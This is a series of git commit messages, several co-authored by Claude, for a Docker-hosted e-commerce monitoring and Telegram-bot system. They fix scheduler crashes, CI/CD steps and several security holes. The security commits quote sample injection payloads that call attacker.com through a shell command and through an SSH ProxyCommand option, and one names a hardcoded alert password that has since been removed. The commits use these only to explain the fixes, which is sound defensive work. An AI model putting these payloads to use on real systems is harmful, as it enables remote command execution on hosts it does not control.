Scheduler container needs to reach momo-db (on momo-pro_default network).
Without this, psycopg2 fails with DNS name resolution error on every recreate.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Compose env section was overriding the .env file fix with the wrong hostname,
causing psycopg2 name resolution failure after scheduler recreated via compose.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Previous version was an emergency stub (緊急復原版) using plain white
PowerPoint default layouts. This commit restores the full premium design
visible in the product screenshot.
Design system:
- 16:9 canvas (33.87 × 19.05 cm)
- Cover: deep navy bg #0D1B2A + orange brand stripe #FF5722
- Header bar: orange #FF5722 on all content slides
- KPI cards: blue #1565C0 / green #2E7D32 / orange #E65100
- Horizontal bar chart for competitor distribution
- Striped data table with red/green price-diff coloring
- Footer: ♥ Powered by OpenClaw on every slide
Slides per report type:
competitor_ppt: Cover → KPI+BarChart → ProductTable → AI Insight
daily_ppt: Cover → KPI+TOP5 → AI Insight
strategy_ppt: Cover → KPI+TOP5 → AI Insight
weekly/monthly/promo: Cover → AI Insight
Line 134 was missing the closing " after the echo statement:
echo '...' (broken)
echo '...'" (fixed)
Caused: 'unexpected EOF while looking for matching"'
'docker compose up --force-recreate' fails when the existing container
was started by a different compose invocation, leaving a stale container
with the same name. Error: 'container name already in use'.
Fix: explicitly stop + rm the two containers before compose build & up.
Using 2>/dev/null to ignore errors if containers are already stopped.
Removed --force-recreate (no longer needed after explicit rm).
CD was failing with 'No such container: momo-telegram-bot' because
the Gitea Actions restart step still listed all three containers.
Changes:
1. .gitea/workflows/cd.yaml:
- Sync mode: docker restart now only targets momo-pro-system momo-scheduler
- Rebuild mode: docker compose up no longer includes telegram-bot service
2. docker-compose.yml:
- Removed telegram-bot service block (38 lines)
- Syncs local repo with remote server state (already removed there)
Previously pchome_crawler.py only had low-level crawling primitives.
All high-level functions used by openclaw_bot_routes.py were missing,
causing _PCHOME_AVAILABLE = False on startup and '簡報生成失敗' errors.
Implemented:
search_pchome(keyword, limit) — simplified search → list of dicts
find_best_match(keyword, momo_price) — best PChome match for a product
compare_product(name, price, icode) — single momo vs PChome comparison
batch_compare_top(db, top_n, date) — batch compare TOP-N momo hottest
save_matches(db, results) — persist results to pchome_matches
ensure_tables(db) — idempotent table creation
fmt_compare_msg(results, keyword) — Telegram Markdown single-item msg
fmt_daily_report(results, date_str) — Telegram Markdown daily report msg
After this commit _PCHOME_AVAILABLE will be True and competitor PPT
generation will no longer throw RuntimeError.
This service was a dead-weight remnant from early development:
- Only 148 lines, no real business logic (just a startup scaffold)
- Supported /trend /search /copy /keywords — all superseded by OpenClaw
- Used same Bot Token as OpenClaw → called deleteWebhook on startup,
destroying OpenClaw webhook and causing /menu and all commands to fail
- JobQueue not installed so daily push also did not work
Actions taken:
- Stopped and removed momo-telegram-bot container
- Removed telegram-bot service block from docker-compose.yml on 188
- Deleted run_telegram_bot.py from repo
- Webhook re-set to https://mo.wooo.work/bot/telegram/webhook
Root cause: Telegram appends @BotUsername to commands in group chats:
/menu@OpenClawAwoool_Bot
The parser did:
q = question.lstrip('/') → 'menu@OpenClawAwoool_Bot'
cmd = q.split()[0].lower() → 'menu@openclawawoool_bot'
This did NOT match 'menu' in KNOWN set, so the command fell through
to openclaw_answer() (natural language mode) → no menu appeared.
Fix: cmd = raw_cmd.split('@')[0]
→ strips @mention suffix before KNOWN lookup
→ /menu@OpenClawAwoool_Bot now correctly dispatches to handle_cmd('menu')
Affects all slash commands in group chat mode.
Issues fixed:
1. [HIGH] OS Command Injection in execute_command() (CWE-78)
command was accepted as a string and passed as the final SSH positional
arg. Remote SSH executes it via sh -c, so shell metacharacters in
command (semicolons, pipes, backticks) are interpreted.
e.g. command="id; curl attacker.com" → two commands execute on target.
Fix: command parameter changed to List[str]; TypeError raised if str
is passed; SSH cmd built with ['--, *command] so remote shell sees
argv, not a shell string. '--' stops SSH from interpreting options.
2. [HIGH] SSH Option Injection via host/user parameters (CWE-88)
jump_host, target_host, jump_user, target_user were unsanitized.
Attacker-controlled host like "-oProxyCommand=curl attacker.com #"
could inject SSH options.
Fix: _validate_host() / _validate_user() with strict regex on init
and in execute_command(); ValueError raised on invalid input.
3. [BUG] AutoHealService.handle_exception() did not exist
elephant_alpha_autonomous_engine.py imports and calls
AutoHealService().handle_exception() — this would raise AttributeError
at runtime. AutoHealService is now fully implemented:
- Playbook lookup from DB (autoheal_models.Playbook)
- ALLOWED_ACTION_TYPES allowlist (DOCKER_RESTART/WAIT_RETRY/ALERT_ONLY/SSH_CMD)
- DOCKER_RESTART: static ['docker','restart',<validated_container>]
- SSH_CMD: requires action_params.argv as list; host/user validated
4. [DESIGN] Duplicate SSHJumpExecutor across two files
auto_heal_service.py and openclaw_strategist_service.py were byte-for-
byte copies. Single source of truth now in auto_heal_service.py;
openclaw_strategist_service.py re-exports SSHJumpExecutor.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Issues fixed:
1. [CRITICAL] /api/alert/fix unauthenticated (CWE-306)
POST /api/alert/fix had no @check_alert_auth and was CSRF-exempt.
Any unauthenticated caller could trigger docker restart or
docker exec on arbitrary container names (container_name is validated
by is_valid_container_name but restart of any valid name is still
a DoS vector). Fix: @check_alert_auth added.
2. [HIGH] Hardcoded ALERT_WEBHOOK_PASSWORD fallback (CWE-798)
Default 'wooo_alert_2026' exposed in source. Fix: default='',
startup warning if unset. check_alert_auth now fail-secure:
returns 503 if password not configured.
3. [MEDIUM] /api/alert/history and /api/alert/analyze unauthenticated
Both endpoints expose container names, memory usage, CPU stats,
system recommendations. Fix: @check_alert_auth added to both.
4. [MEDIUM] issue_type unvalidated in manual_fix (CWE-20)
Any string value could be passed through to auto_fix_container.
Fix: ALLOWED_ISSUE_TYPES frozenset — only memory/cpu variants allowed.
5. [LOW] limit parameter unbounded in get_alert_history
Arbitrarily large limit → large list slice → memory pressure.
Fix: clamped to [1, 200].
NOTE: L177 docker stats command (original report) is SAFE as-is —
list argv, fixed arguments, no user input. nosec B603 correctly placed.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Issues fixed:
1. [CRITICAL] No authentication on destructive routes (CWE-306)
POST /api/system/cleanup/docker was unauthenticated (system_bp is
CSRF-exempt, before_request only refreshes session, no login check).
Any unauthenticated HTTP client could trigger docker system prune.
Fix: _require_internal_key() checks X-Internal-Key header against
INTERNAL_API_KEY env var on all 4 routes; fail-secure if key unset.
2. [MEDIUM] Unvalidated numeric inputs in find commands (CWE-20)
max_size_mb / older_than_hours came from POST body and were
interpolated into find -size / -mmin args. Negative/huge values
could cause unexpected behavior.
Fix: _validate_int() clamps to [1..10000] / [1..8760] with defaults.
3. [LOW] find -mmin arg missing leading '+' (logic bug)
'-mmin 168' matches FILES EXACTLY 168 min old, not older-than.
Fix: '-mmin', f'+{older_than_hours * 60}' (+ = older than)
4. [LOW] subprocess(['date', ...]) in health_check replaced
with Python datetime.now(UTC).isoformat() — no subprocess needed.
INTERNAL_API_KEY added to .env.example with generation instructions.
Generate with: openssl rand -hex 32
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
CVE-class issues fixed:
1. [HIGH] Shell Injection in gitlab_api_via_ssh (CWE-78)
endpoint and json_data were interpolated into f-string cmd and passed
as a single SSH remote command string → shell parses it → injection.
Fix: build remote_argv as list; each curl argument is a separate item,
SSH receives them as independent argv (no shell parsing of user data).
2. [HIGH] Hardcoded credentials in source code (CWE-798)
GITLAB_TOKEN, TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID all had live
secrets as default fallback values. Tokens are now '' (empty) with a
startup warning if env vars are missing.
3. [MEDIUM] Missing pre-validation allowlist on fix_action (CWE-20)
ALLOWED_FIX_ACTIONS frozenset added before route handler; any unknown
action is rejected with 400 before reaching execution logic.
Note: fix_registry/fix_pods/execute_*_rollback use static SSH commands
(no user input in cmd strings) so they are not injection risks.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Root cause: OPENROUTER_API_KEY not set → fallback confidence=0.60 →
always below threshold → _escalate_to_human() every 60s loop → infinite
Telegram messages, all meaningless.
Three-layer fix:
1. API Key detection: if fallback_decision triggered (reasoning contains
"Elephant Alpha unavailable"), silently skip — no Telegram, no cost,
update last_triggered to prevent infinite retry
2. Per-trigger cooldown in _check_triggers():
price_drop_alert 30min / market_opportunity 60min /
threat_escalation 15min / resource_optimization 60min
3. Escalation dedup in _escalate_to_human(): _last_escalated[] tracks
last Telegram send time per trigger type; suppresses within cooldown
Valid HITL escalations (when EA is actually online) still work correctly.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Migration 017:
- CREATE TABLE IF NOT EXISTS agent_context, action_plans, action_outcomes,
agent_strategy_weights (all four ADR-012 tables were missing from production DB)
- These tables are required by ElephantAlpha AutonomousEngine coordination loop
telegram_templates.py:
- Fix: from database.telegram_models → database.trend_models (TelegramUser
has always lived in trend_models; telegram_models module does not exist)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Playbook SQLAlchemy model has description column but production DB table
does not, causing seed_playbooks() to fail with UndefinedColumn error.
ADD COLUMN IF NOT EXISTS is idempotent — safe to re-run.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
ADR-013 AIOps classes Incident, Playbook, HealLog existed locally but were
missing from git. manager.py imports them → ImportError on every scheduler
restart. Also fixes transitive MetaData conflict with ai_models.py.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
AgentContext/ActionPlan/ActionOutcome/AgentStrategyWeights were defined
in both ai_models.py and autoheal_models.py, causing:
"Table 'agent_context' is already defined for this MetaData instance"
on every scheduler startup.
ai_models.py is now a pure re-export shim from autoheal_models.py.
autoheal_models.py remains the single source of truth (ADR-013).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
AIGenerationHistory/AIInsight/AIUsageTracking/AIPromptTemplate never existed;
actual classes are AgentContext/ActionPlan/ActionOutcome/AgentStrategyWeights.
This caused momo-scheduler to crash on every restart.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>